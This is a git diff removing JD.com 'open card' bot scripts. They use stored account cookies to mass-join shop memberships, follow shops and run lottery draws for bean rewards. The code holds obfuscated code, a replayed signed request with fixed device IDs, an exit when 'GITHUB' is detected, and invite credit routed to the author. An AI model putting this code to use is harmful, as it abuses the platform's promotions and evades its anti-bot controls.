randomString(_0xdd8f61){_0xdd8f61=_0xdd8f61||0x20;let _0x495697=_0x3a6d('ec'),_0x5943a3=_0x495697[_0x3a6d('24')],_0x4e7c43='';for(i=0x0;i<_0xdd8f61;i++)_0x4e7c43+=_0x495697[_0x3a6d('ed')](Math[_0x3a6d('ee')](Math[_0x3a6d('4f')]()*_0x5943a3));return _0x4e7c43;};_0xode='jsjiami.com.v6'; - - -function joinShop() { - if(!$.joinVenderId) return - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId() - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - const options = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${$.joinVenderId}","shopId":"${$.joinVenderId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - $.get(options, async (err, resp, data) => { - try { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getshopactivityId() { - return new Promise(resolve => { - const options = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${$.joinVenderId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - $.get(options, async (err, resp, data) => { - try { - let res = $.toObj(data); - if(res.success == true){ - // console.log($.toStr(res.result)) - console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_opencard5.js b/backUp/gua_opencard5.js deleted file mode 100644 index e890243..0000000 --- a/backUp/gua_opencard5.js +++ /dev/null @@ -1,769 +0,0 @@ -/* -8.5-8.12 冰爽夏日 钜惠送好礼 [gua_opencard5.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 每组50豆(有可能有抽到空气💨 -关注20京豆 (有可能有抽到空气💨 -加购5京豆 (默认不加购 如需加购请设置环境变量[guaopencard_addSku5]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard5="true" -———————————————— -若是手机用户(不是nodejs环境) 是默认直接执行脚本的 -没有适配加购变量 所有是不加购 -———————————————— -入口 -8.5-8.12 冰爽夏日 钜惠送好礼 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=5a1b7bc1f22e4bc5b5686bb54749de2e&shareUuid=e3b48e5703544ec094b727e3e65b6672) - -============Quantumultx=============== -[task_local] -#8.5-8.12 冰爽夏日 钜惠送好礼 -38 0,8 5-12 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard4.js, tag=8.5-8.12 冰爽夏日 钜惠送好礼, enabled=true - -================Loon============== -[Script] -cron "38 0,8 5-12 8 *" script-path=gua_opencard4.js,tag=8.5-8.12 冰爽夏日 钜惠送好礼 - -===============Surge================= -8.5-8.12 冰爽夏日 钜惠送好礼 = type=cron,cronexp="38 0,8 5-12 8 *",wake-system=1,timeout=3600,script-path=gua_opencard4.js - -============小火箭========= -8.5-8.12 冰爽夏日 钜惠送好礼 = type=cron,script-path=gua_opencard4.js, cronexpr="38 0,8 5-12 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.5-8.12 冰爽夏日 钜惠送好礼'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard5 || process.env.guaopencard5 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard5]为"true"') - return - } - guaopencard_addSku = process.env.guaopencard_addSku5 - if (!process.env.guaopencard_addSku5 || process.env.guaopencard_addSku5 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku5]为"true"') - } - } - $.shareUuid = 'e3b48e5703544ec094b727e3e65b6672' - $.activityId = '5a1b7bc1f22e4bc5b5686bb54749de2e' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let wxCommonInfoTokenData = await getWxCommonInfoToken(); - $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY - $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE - $.isvObfuscatorToken = await getIsvObfuscatorToken(); - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - if (i === 0) { - return - } - continue - } - await getHtml(); - await adLog(); - await getUserInfo(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - $.actorUuid = ''; - $.actorUuid = await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - if (i === 0) { - return - } - continue - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - $.log($.actorUuid) - $.log("开完卡: " + checkOpenCardData.allOpenCard) - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku) await addSku(); - if(!$.addSku && guaopencard_addSku) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - // $.log($.actorUuid) - $.log($.shareUuid) - if (i === 0) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data) - console.log(`我的奖品:`) - let num = 0 - for(let i in data.data){ - let item = data.data[i] - if(item.value == '邀请好友') num++; - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log(`=========== 你邀请了:${data.data.length}个`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=2&taskValue=100023397118` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=${$.shopId}&shareUuid=${$.shareUuid}` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/followShop - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - if(data.data.beanNumMember && data.data.assistSendStatus){ - msg += ` 额外获得:${data.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/startDraw - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = $.toObj(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data && data.data || ''); - } - }) - }) -} - -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - - -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=69&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=26c65494e1732271943c1cec96ced252&st=1628051036003&sv=110&uemps=0-0&uts=0f31TVRjBStX5bTSbfg6pAhO2Wmg5ZK/rd1Af7H%2Bi%2BZ57hF33eg9bjdFRWz2rOIRuVhFImiKmG2vw8nM4uOtRRc9fvdCe13ezfdPVMYhKK7KQSWbxLEJZFKRem1GFn3BfgEQ1DXiPp6fqhwSq6NBqOpTBpN3SC1LQUgnKnZiyXJxrgNb5mAphEpeEzd9qwpoq1BXGls%2Bq8D8EUvPXXr%2B%2BQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - -function getMyPing() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } 